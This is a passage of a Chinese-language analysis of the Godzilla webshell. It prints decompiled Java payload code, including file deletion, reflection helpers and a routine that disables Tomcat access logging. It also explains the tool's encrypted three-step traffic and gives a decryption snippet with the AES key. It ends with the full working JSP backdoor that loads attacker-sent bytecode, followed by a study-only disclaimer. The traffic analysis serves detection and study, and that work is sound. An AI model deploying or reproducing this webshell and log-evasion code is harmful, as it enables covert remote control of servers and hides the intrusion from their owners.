while(inetAddresses.hasMoreElements()) { InetAddress inetAddress = (InetAddress)inetAddresses.nextElement(); if (inetAddress != null) { String ip = inetAddress.getHostAddress(); ipList.add(ip); } } } } catch (Exception var6) { }
return Arrays.toString(ipList.toArray()); }
public String getRealPath() { try { if (this.servletContext != null) { Class var10001 = this.servletContext.getClass(); Class[] var10003 = new Class[1]; Class var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(var3.getMessage()); }
class$2 = var10006; }
var10003[0] = var10006; Method getRealPathMethod = this.getMethodByClass(var10001, "getRealPath", var10003); if (getRealPathMethod != null) { Object retObject = getRealPathMethod.invoke(this.servletContext, "/"); return retObject != null ? retObject.toString() : "Null"; } else { return "no method getRealPathMethod"; } } else { return "servletContext is Null"; } } catch (Exception var4) { return var4.getMessage(); } }
public void deleteFiles(File f) throws Exception { if (f.isDirectory()) { File[] x = f.listFiles();
for(int i = 0; i < x.length; ++i) { File fs = x[i]; this.deleteFiles(fs); } }
f.delete(); }
Object invoke(Object obj, String methodName, Object[] parameters) { try { ArrayList classes = new ArrayList(); if (parameters != null) { for(int i = 0; i < parameters.length; ++i) { Object o1 = parameters[i]; if (o1 != null) { classes.add(o1.getClass()); } else { classes.add((Object)null); } } }
Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0])); return method.invoke(obj, parameters); } catch (Exception var7) { return null; } }
Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { try { Method method = this.getMethodByClass(obj.getClass(), methodName, parameterClass); if (method != null) { return method.invoke(obj, parameters); } } catch (Exception var6) { }
return null; }
Method getMethodByClass(Class cs, String methodName, Class[] parameters) { Method method = null;
while(cs != null) { try { method = cs.getDeclaredMethod(methodName, parameters); method.setAccessible(true); cs = null; } catch (Exception var6) { cs = cs.getSuperclass(); } }
return method; }
public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field f = null; if (obj instanceof Field) { f = (Field)obj; } else { Method method = null; Class cs = obj.getClass();
while(cs != null) { try { f = cs.getDeclaredField(fieldName); cs = null; } catch (Exception var6) { cs = cs.getSuperclass(); } } }
f.setAccessible(true); return f.get(obj); }
private void noLog(Object servletContext) { try { Object applicationContext = getFieldValue(servletContext, "context"); Object container = getFieldValue(applicationContext, "context");
ArrayList arrayList; for(arrayList = new ArrayList(); container != null; container = this.invoke(container, "getParent", (Object[])null)) { arrayList.add(container); }
label84: for(int i = 0; i < arrayList.size(); ++i) { try { Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null); if (pipeline != null) { Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while(true) { while(true) { if (valve == null) { continue label84; }
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null) { Class var10001 = valve.getClass(); Class[] var10003 = new Class[1]; Class var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); }
class$2 = var10006; }
var10003[0] = var10006; if (this.getMethodByClass(var10001, "setCondition", var10003) != null) { String condition = (String)this.invoke((String)valve, "getCondition", new Object[0]); condition = condition == null ? "FuckLog" : condition; this.invoke(valve, "setCondition", new Object[]{condition}); var10001 = this.servletRequest.getClass(); var10003 = new Class[2]; var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage()); }
class$2 = var10006; }
var10003[0] = var10006; var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var10) { throw new NoClassDefFoundError(var10.getMessage()); }
class$2 = var10006; }
var10003[1] = var10006; Method setAttributeMethod = this.getMethodByClass(var10001, "setAttribute", var10003); setAttributeMethod.invoke(condition, condition); valve = this.invoke(valve, "getNext", (Object[])null); continue; } }
if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) { valve = this.invoke(valve, "getNext", (Object[])null); } else { valve = null; } } } } } catch (Exception var13) { } } } catch (Exception var14) { }
}
private static Class getClass(String name) { try { return Class.forName(name); } catch (Exception var2) { return null; } }
public static int bytesToInt(byte[] bytes) { int i = bytes[0] & 255 | (bytes[1] & 255) << 8 | (bytes[2] & 255) << 16 | (bytes[3] & 255) << 24; return i; }
public String base64Encode(String data) { return base64Encode(data.getBytes()); }
public static String base64Encode(byte[] src) { int off = 0; int end = src.length; byte[] dst = new byte[4 * ((src.length + 2) / 3)]; int linemax = -1; boolean doPadding = true; char[] base64 = toBase64; int sp = off; int slen = (end - off) / 3 * 3; int sl = off + slen; if (linemax > 0 && slen > linemax / 4 * 3) { slen = linemax / 4 * 3; }
int dp; int b0; int b1; for(dp = 0; sp < sl; sp = b0) { b0 = Math.min(sp + slen, sl); b1 = sp;
int bits; for(int dp0 = dp; b1 < b0; dst[dp0++] = (byte)base64[bits & 63]) { bits = (src[b1++] & 255) << 16 | (src[b1++] & 255) << 8 | src[b1++] & 255; dst[dp0++] = (byte)base64[bits >>> 18 & 63]; dst[dp0++] = (byte)base64[bits >>> 12 & 63]; dst[dp0++] = (byte)base64[bits >>> 6 & 63]; }
b1 = (b0 - sp) / 3 * 4; dp += b1; }
if (sp < end) { b0 = src[sp++] & 255; dst[dp++] = (byte)base64[b0 >> 2]; if (sp == end) { dst[dp++] = (byte)base64[b0 << 4 & 63]; if (doPadding) { dst[dp++] = 61; dst[dp++] = 61; } } else { b1 = src[sp++] & 255; dst[dp++] = (byte)base64[b0 << 4 & 63 | b1 >> 4]; dst[dp++] = (byte)base64[b1 << 2 & 63]; if (doPadding) { dst[dp++] = 61; } } }
return new String(dst); }
public static byte[] base64Decode(String base64Str) { if (base64Str.length() == 0) { return new byte[0]; } else { byte[] src = base64Str.getBytes(); int sp = 0; int sl = src.length; int paddings = 0; int len = sl - sp; if (src[sl - 1] == 61) { ++paddings; if (src[sl - 2] == 61) { ++paddings; } }
if (paddings == 0 && (len & 3) != 0) { paddings = 4 - (len & 3); }
byte[] dst = new byte[3 * ((len + 3) / 4) - paddings]; int[] base64 = new int[256]; Arrays.fill(base64, -1);
int dp; for(dp = 0; dp < toBase64.length; base64[toBase64[dp]] = dp++) { }
base64[61] = -2; dp = 0; int bits = 0; int shiftto = 18;
while(sp < sl) { int b = src[sp++] & 255; if ((b = base64[b]) < 0 && b == -2) { if (shiftto == 6 && (sp == sl || src[sp++] != 61) || shiftto == 18) { throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit"); } break; }
bits |= b << shiftto; shiftto -= 6; if (shiftto < 0) { dst[dp++] = (byte)(bits >> 16); dst[dp++] = (byte)(bits >> 8); dst[dp++] = (byte)bits; shiftto = 18; bits = 0; } }
if (shiftto == 6) { dst[dp++] = (byte)(bits >> 16); } else if (shiftto == 0) { dst[dp++] = (byte)(bits >> 16); dst[dp++] = (byte)(bits >> 8); } else if (shiftto == 12) { throw new IllegalArgumentException("Last unit does not have enough valid bits"); }
if (dp != dst.length) { byte[] arrayOfByte = new byte[dp]; System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp)); dst = arrayOfByte; }
return dst; } }}
(通信一)
然后调用sendHttpResponse(),在这里完成对请求(payload.classs的字节码)的加密(通过调用选择的加密器的encode方法),然后做发送
(1)ApplicationContext.getPayload(this.payload) payloadclass会调用class shells.payloads.下面对应的payload并实例化返回。
(通信二)
这里调用test,在evalFunc中发送了第二次的http请求。funcName="test",数据为参数的parameter.formatEx(),然后做了一次gzip的编码,最后会对请求进行gzip的解码。当返回的字符串为ok的时候,则test就会返回true
下面就代表true
11CD6A8758984163LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC
通信三
我这里的代码没找到,但是通过对比第二个和第三个包是可以看到发送了一样的请求
三次通信触发位置
一 。this.cryptionModel.init(this);//发送payload.classs的字节码
二。this.payloadModel.test()//发送填充的parameter参数methodName=test,中间做了填充所以存在乱码
三。this.payloadModel.test()//发送填充的parameter参数methodName=test,中间做了填充所以存在乱码
流量加解密
post解密
package org.example;
import util.functions;
public class Main { static String xc="3c6e0b8a9c15224a"; public static byte[] x(byte[] s,boolean m) { try {javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")); return c.doFinal(s); }catch (Exception e){return null; } }
public static void main(String[] args) { String code = "0mQU+S1pFnTz3ttVTnAgJVD/aBwD3NNXL3TfTExo1weKu4KAhhCu6Gn1EQfX1m9g"; byte[] b = functions.base64Decode(code); byte[] be = x(b,false); System.out.println(new String(functions.gzipD(be))); }}
response解密
观察这里,这里在数据的前后拼接了md5的前16和后16位,所以流量解密需要进行去除
response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));
所以这里能看到哥斯拉在JAVA_AES_BASE64的加解密顺序
data -> aes加密-> base64编码-> url编码 -> 加密后的data加密后的data -> url解码-> base64解码-> aes 解密-> data
哥斯拉执行原理
根据我们前面的分析,哥斯拉是基于字节码打入payload类的方式进行的通信执行功能复现。那么哥斯拉如何去处理和获取我们传输的数据呢。其中this.handle()实现具体功能。区分一下两次equals和tostring
(1)equals(ByteArrayOutputStream)
存储了this.outputStream
(2)equals(pageContext)
this.handlePayloadContext(obj);获取到request之后获取parameters
tostring()
获取参数具体的值
run中调用对应的方法,进行功能实现
五 哥斯拉webshell后门分析
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{ public X(ClassLoader z){super(z);} public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} } public byte[] x(byte[] s,boolean m){ try{ javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")); return c.doFinal(s); }catch (Exception e){return null; } } public static String md5(String s) { String ret = null; try { java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) {} return ret; } public static String base64Encode(byte[] bs) throws Exception { Class base64;String value = null; try { base64=Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); } catch (Exception e) { try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); } catch (Exception e2) {} } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64;byte[] value = null; try { base64=Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs }); } catch (Exception e) { try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs }); } catch (Exception e2) {} } return value; }%><% try{ byte[] data=base64Decode(request.getParameter(pass)); data=x(data, false); if (session.getAttribute("payload")==null){ session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data)); }else{ request.setAttribute("parameters", new String(data)); Object f=((Class)session.getAttribute("payload")).newInstance(); f.equals(pageContext); response.getWriter().write(md5.substring(0,16)); response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true))); response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>
上面都是定义的加解密算法,核心还是下面这点
(1)获取pass 如果session没有payload属性,就利用自定义classloader加载data,然后设置为payload属性。
(2)后续能获取到以后,就会设置传入的参数,然后实例化payload类
(3)调用核心的equals,tostring() 完成webshell的文件上传,命令执行等功能。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。